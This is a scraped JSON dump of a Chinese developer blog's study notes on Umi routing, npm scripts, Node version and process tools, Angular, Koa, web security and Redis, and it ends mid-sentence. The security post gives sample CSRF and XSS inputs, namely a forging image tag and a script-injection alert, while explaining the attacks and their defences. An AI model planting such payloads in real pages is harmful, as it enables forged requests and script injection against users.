true\r},{\r\u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/admin').default,\r\u0026quot;exact\u0026quot;: true\r}\r]\r组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(\u0026rsquo;@/pages/xxx\u0026rsquo;)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\u0026quot;routes\u0026quot;: [\r{\r\u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;redirect\u0026quot;: '/admin',\r},{\r\u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/admin').default,\rroutes: [\r{ path: '/admin/archives', redirect: '/' },\r{ path: '/admin/category', component: 'category' },\r]\r}\r]\rredirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .js，.jsx，.ts或tsx文件，文件没有jsx元素的等等都不会被注册为路由\n动态路由\n使用[]包裹的路由将认为动态路由，例如：\n\u0026quot;routes\u0026quot;: [\r{\r\u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/index').default,\r\u0026quot;exact\u0026quot;: true\r},{\r\u0026quot;path\u0026quot;: \u0026quot;/:data/admin\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/[data]/admin').default,\r\u0026quot;exact\u0026quot;: true\r}\r]\r像[ $]的就是可选的，不是必须的\n当目录下存在_layout.tsx的时候将生成嵌套路由\n约定src/pages/404.tsx是404页面，要返回react组件，会默认生成路由，{ component: \u0026lsquo;@/pages/404\u0026rsquo; }\n页面跳转一样分为声明式和命令式\n和在react一样，通过to属性指定路径，例如：\nimport { Link } from 'umi'\rexport default () =\u0026gt; (\r\u0026lt;Link to=\u0026quot;/admin\u0026quot;\u0026gt;Go\u0026lt;/Link\u0026gt;\r)\r命令式\nimport { history } from 'umi'\rfunction goPage() {\rhistory.push('/list')\r}\r也是可以通过props.history.push()实现\numi约定如果存在src/pages/document.ejs文件，那么作为默认的模板\numi约定/mock文件夹下全部文件都为mock文件\n支持数组和对象\n例如：\nexport default {\r'GET /api/name': { name: [\u0026quot;root\u0026quot;, \u0026quot;admin\u0026quot;] },\r'/api/id': { id: 123 },\r'POST /api/users/create': (req, res) =\u0026gt; {\rres.setHeader('Access-Control-Allow-Origin', '*')\rres.end('ok')\r}\r}\r访问http://localhost:8000/api/name，可以获得{\u0026ldquo;name\u0026rdquo;:[\u0026ldquo;root\u0026rdquo;,\u0026ldquo;admin\u0026rdquo;]}，访问/api/id可以{\u0026ldquo;id\u0026rdquo;:123}\n使用mock: false禁用当前mock文件\n.env文件为环境变量配置文件，例如\nPORT=3000\n那么就会以3000端口启动服务\n###umi cli\numi build\numi dev\numi generate\numi plugin\numi help\numi version\numi webpack\numi约定src/global.css为全局样式，如果存在这个文件，那么会自动引入\ncss模块化\nimport styles from \u0026lsquo;./styles.css\u0026rsquo;\numi内置less\n引入图片\n\u0026lt;img src={require(\u0026rsquo;./img.jpg\u0026rsquo;)} /\u0026gt;\n也是可以用@来指向src目录\n","permalink":"https://xiaochenabc123.github.io/posts/110/","summary":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u0026gt;=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\u0026quot;routes\u0026quot;: [\r{\r\u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/index').default,\r\u0026quot;exact\u0026quot;: true\r},{\r\u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/admin').default,\r\u0026quot;exact\u0026quot;: true\r}\r]\r组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(\u0026rsquo;@/pages/xxx\u0026rsquo;)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\u0026quot;routes\u0026quot;: [\r{\r\u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;,\r\u0026quot;redirect\u0026quot;: '/admin',\r},{\r\u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;,\r\u0026quot;component\u0026quot;: require('@/pages/admin').default,\rroutes: [\r{ path: '/admin/archives', redirect: '/' },\r{ path: '/admin/category', component: 'category' },\r]\r}\r]\rredirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .","title":"Umi框架学习笔记"},{"content":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;\r}\rnpm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026amp;\u0026amp;（依次运行），\u0026amp;（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;predev\u0026quot;: \u0026quot;echo hallo\u0026quot;,\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;,\r\u0026quot;postdev\u0026quot;: \u0026quot;echo yes\u0026quot;\r}\r相对于npm run predev \u0026amp;\u0026amp; npm run dev \u0026amp;\u0026amp; npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{\r\u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;scripts\u0026quot;: {\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js $npm_package_name\u0026quot;\r}\r}\r获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;test\u0026quot;: \u0026quot;echo \\\u0026quot;Error: no test specified\\\u0026quot; \u0026amp;\u0026amp; exit 1\u0026quot;\r}\r传递参数\n{\r\u0026quot;scripts\u0026quot;: {\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;\r}\r}\rconst name = process.env.npm_config_name console.log(name)\nnpm run dev \u0026ndash;name=root\n可以看到获取到了参数name的值\n","permalink":"https://xiaochenabc123.github.io/posts/109/","summary":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;\r}\rnpm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026amp;\u0026amp;（依次运行），\u0026amp;（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;predev\u0026quot;: \u0026quot;echo hallo\u0026quot;,\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;,\r\u0026quot;postdev\u0026quot;: \u0026quot;echo yes\u0026quot;\r}\r相对于npm run predev \u0026amp;\u0026amp; npm run dev \u0026amp;\u0026amp; npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{\r\u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;scripts\u0026quot;: {\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js $npm_package_name\u0026quot;\r}\r}\r获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;test\u0026quot;: \u0026quot;echo \\\u0026quot;Error: no test specified\\\u0026quot; \u0026amp;\u0026amp; exit 1\u0026quot;\r}\r传递参数","title":"简单了解并且使用npm script"},{"content":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一\n","permalink":"https://xiaochenabc123.github.io/posts/106/","summary":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一","title":"数据结构学习笔记"},{"content":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3\n指定版本执行js\nn use 14.17.3 app.js\n切换版本（n回车后，通过上下键来选择版本）\nn\n查看网络上可以安装的nodejs版本\nn ls-remote \u0026ndash;all\n删除除当前版本外的全部版本\nn prune\nnrm镜像源管理工具\n安装nrm\nnpm install -g nrm\n查看全部源\nnrm ls\n带*的是当前源\n切换源\nnrm use taobao\n添加自定义源（腾讯npm）\nnrm add tencentnpm https://mirrors.cloud.tencent.com/npm/\n删除源\nnrm del taobao\n测试源速度\nnrm test npm\nPM2是node进程管理工具，可以用来监控性能，进程守护，负载均衡等等\n安装pm2\nnpm install -g pm2\n或者\nyarn add global pm2\n启动应用（\u0026ndash;watch是当文件发生变化自动重启，-i 3是3个app.js的应用实例，-name是命名应用）\npm2 start app.js \u0026ndash;watch -i 3 -name=\u0026ldquo;main\u0026rdquo;\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo\n–ignore-watch=“node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n–name为进程名字\npm2执行npm run dev\npm2 start npm –watch – run dev\npm2执行npm run start\npm2 start npm –name demo – run start\n停止应用\npm2 stop app.js\n重启应用\npm2 reload app.js\n删除应用\npm2 delete app.js\n也可以用all来处理全部应用\npm2不只是只能启动nodejs，Python或者shell都可以\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n显示全部应用日志\npm2 logs\n查看指定应用的日志\npm2 logs main\n清空所有日志文件\npm2 flush\n更新pm2\nnpm install pm2@latest -g\npm2内存更新\npm2 update\n查看pm2运行中的全部应用\npm2 list\n查看各个应用内存占用和CPU情况\npm2 monit\n查看指定应用的全部信息\npm2 show main\npnpm\npnpm是Node.js包管理工具，解决了npm/yarn的一些BUG\n特点是：包安装速度极快，磁盘空间利用高效，支持monorepo\n和yarn一样，也是通过缓存来保存安装过的包，使用pnpm-lock.yaml记录依赖包版本\npnpm是利用软链接（快捷方式）来实现依赖结构扁平化，从而解决了从缓存中拷贝文件的时间\n更安全：没有在package.json声明，将不能使用依赖，而且不存在依赖提升（一个包依赖于另一个包，而且那个包不需要声明，就可以使用）\n安装\nnpm install -g pnpm\n安装包\npnpm install axios\n升级\npnpm add -g pnpm\n卸载\npnpm uninstall axios \u0026ndash;filter package-a\n","permalink":"https://xiaochenabc123.github.io/posts/105/","summary":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3","title":"NodeJS常用工具的简单使用"},{"content":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\n\u0026lt;div ng-app ng-init=\u0026quot;name='default'\u0026quot;\u0026gt;\r\u0026lt;p\u0026gt;name: \u0026lt;input type=\u0026quot;text\u0026quot; ng-model=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;h1\u0026gt;hallo，{{name}}\u0026lt;/h1\u0026gt;\r\u0026lt;p ng-bind=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\rng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值\n","permalink":"https://xiaochenabc123.github.io/posts/101/","summary":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\n\u0026lt;div ng-app ng-init=\u0026quot;name='default'\u0026quot;\u0026gt;\r\u0026lt;p\u0026gt;name: \u0026lt;input type=\u0026quot;text\u0026quot; ng-model=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;h1\u0026gt;hallo，{{name}}\u0026lt;/h1\u0026gt;\r\u0026lt;p ng-bind=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\rng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值","title":"Angular学习笔记"},{"content":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\u0026quot;koa\u0026quot;)\rconst app = new Koa()\rapp.use(async (ctx, next) =\u0026gt; {\rawait next()\rctx.response.type = 'text/html'\rctx.response.body = '\u0026lt;h1\u0026gt;hallo, koa!\u0026lt;/h1\u0026gt;'\r})\rapp.listen(3000)\rnode app.js\nget请求参数的接收\nconst Koa = require('koa')\rconst app = new Koa()\rapp.use(async(ctx)=\u0026gt;{\rconst url =ctx.url\rconst request =ctx.request\rconst reqQuery = request.query\rconst reqQuerystring = request.querystring\rctx.body={\rurl,\rreqQuery,\rreqQuerystring\r}\r})\rapp.listen(3000,()=\u0026gt;{\rconsole.log('port 3000')\r})\rhttp://127.0.0.1:3000/admin?name=admin\u0026amp;pass=123\n通过ctx.request来获取得到get请求参数（query）\n还可以通过ctx上下文获取\napp.use(async(ctx)=\u0026gt;{\rconst url =ctx.url\rconst ctxQuery = ctx.query\rconst ctxQuerystring = ctx.querystring\rctx.body={\rurl,\rctxQuery,\rctxQuerystring\r}\r})\rPost请求接收\nKoa默认返回类型是text/plain，判断返回类型ctx.request.accepts()\n一般来说，返回给用户的页面都是写成文件的，因此可以通过nodejs的fs来读取本地的文件\nconst fs = require(\u0026quot;fs\u0026quot;)\rapp.use(async (ctx, next) =\u0026gt; {\rawait next()\rctx.response.type = 'text/html'\rctx.response.body = 'fs.createReadStream('./test.html')'\r})\r路由\n判断当前路由地址\nctx.request.path\n路由模块\nconst route = require(\u0026lsquo;koa-route\u0026rsquo;)\napp.ues(route.get(\u0026quot;/\u0026quot;, main))\n静态资源管理\nconst path = require(\u0026lsquo;path\u0026rsquo;) const serve = require(\u0026lsquo;koa-static\u0026rsquo;) const main = serve(path.join(__dirname)) app.use(main)\n重定向\nctx.response.redirect()可以实现302重定向，例如：\nconst redirect = ctx =\u0026gt; {\rctx.response.redirect('/')\rctx.response.body = '\u0026lt;a href=\u0026quot;/\u0026quot;\u0026gt;index\u0026lt;/a\u0026gt;'\r}\rapp.use(route.get('/auth, redirect));\r中间件\n中间件实质上就是在请求和响应之间，实现某个中间功能，而app.use()就是用来加载中间件的\n这个中间件默认支持两个参数（ctx和next）\n多个中间件，按照先进后出，next可以传递，await next就是异步中间件\n合成中间件\nconst compose = require(\u0026lsquo;koa-compose\u0026rsquo;) const c = compose([a, b]) app.use(c)\n抛出错误\nconst main = ctx =\u0026gt;{\rctx.response.status = 404\rctx.response.body = '404找不到资源';\r}\r注意：发生错误，koa会触发一个error事件，因此也可以监听这个事件，来抛出错误\n读写cookies\nctx.cookies.get()\n","permalink":"https://xiaochenabc123.github.io/posts/100/","summary":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\u0026quot;koa\u0026quot;)\rconst app = new Koa()\rapp.use(async (ctx, next) =\u0026gt; {\rawait next()\rctx.response.type = 'text/html'\rctx.response.body = '\u0026lt;h1\u0026gt;hallo, koa!\u0026lt;/h1\u0026gt;'\r})\rapp.listen(3000)\rnode app.js\nget请求参数的接收\nconst Koa = require('koa')\rconst app = new Koa()\rapp.use(async(ctx)=\u0026gt;{\rconst url =ctx.url\rconst request =ctx.request\rconst reqQuery = request.query\rconst reqQuerystring = request.querystring\rctx.body={\rurl,\rreqQuery,\rreqQuerystring\r}\r})\rapp.listen(3000,()=\u0026gt;{\rconsole.log('port 3000')\r})\rhttp://127.","title":"Koa框架学习笔记"},{"content":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n\u0026lt;img src =\u0026quot;http://xxx.xxx/test?xxx=666\u0026quot;\u0026gt;\r只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href;\rif(referer != null \u0026amp;\u0026amp; referer.startsWith(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)){\rconsole.log(\u0026quot;验证成功!!!\u0026quot;)\r}else{\rconsole.log(\u0026quot;验证失败!!!\u0026quot;)\r}\r防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加\u0026lt;script\u0026gt;alert(\u0026lsquo;hack\u0026rsquo;)\u0026lt;/script\u0026gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤\u0026lt;script\u0026gt;标签的，但是可以通过大小写绕过（html不区分大小写）\n简单的防御方法：\n通过严格的过滤白名单来过滤，限制输入值的类型\nhtml实体编码转义，htmlspecialchars()或者htmlentities()\nX-XSS-Protection\nxss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容\n同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域\n同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）\n可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等\n跨域通信的方式：jsonp，hash，postmessage，websocket，cors\n同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信\n内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击\n内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好\n要开启CSP需要服务器返回Content-Security-Policy头部\nhtml也可以配置该策略，例如：\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self'; img-src https://*;\u0026quot;\u0026gt;\r其中img-src对应的指定图像或者图标的有效来源\n常用的有img-src，font-src，script-src，style-src等等\nCSRF\nX-Frame-Options：DENY/SAMEORIGIN\n可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值\nStrict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie\n中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）\n","permalink":"https://xiaochenabc123.github.io/posts/99/","summary":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n\u0026lt;img src =\u0026quot;http://xxx.xxx/test?xxx=666\u0026quot;\u0026gt;\r只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href;\rif(referer != null \u0026amp;\u0026amp; referer.startsWith(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)){\rconsole.log(\u0026quot;验证成功!!!\u0026quot;)\r}else{\rconsole.log(\u0026quot;验证失败!!!\u0026quot;)\r}\r防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加\u0026lt;script\u0026gt;alert(\u0026lsquo;hack\u0026rsquo;)\u0026lt;/script\u0026gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤\u0026lt;script\u0026gt;标签的，但是可以通过大小写绕过（html不区分大小写）\n简单的防御方法：\n通过严格的过滤白名单来过滤，限制输入值的类型\nhtml实体编码转义，htmlspecialchars()或者htmlentities()\nX-XSS-Protection\nxss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容\n同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域\n同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）\n可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等\n跨域通信的方式：jsonp，hash，postmessage，websocket，cors\n同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信\n内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击\n内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好\n要开启CSP需要服务器返回Content-Security-Policy头部\nhtml也可以配置该策略，例如：\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self'; img-src https://*;\u0026quot;\u0026gt;\r其中img-src对应的指定图像或者图标的有效来源\n常用的有img-src，font-src，script-src，style-src等等\nCSRF\nX-Frame-Options：DENY/SAMEORIGIN\n可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值\nStrict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie\n中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）","title":"简单了解CSRF攻击和XSS攻击"},{"content":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only 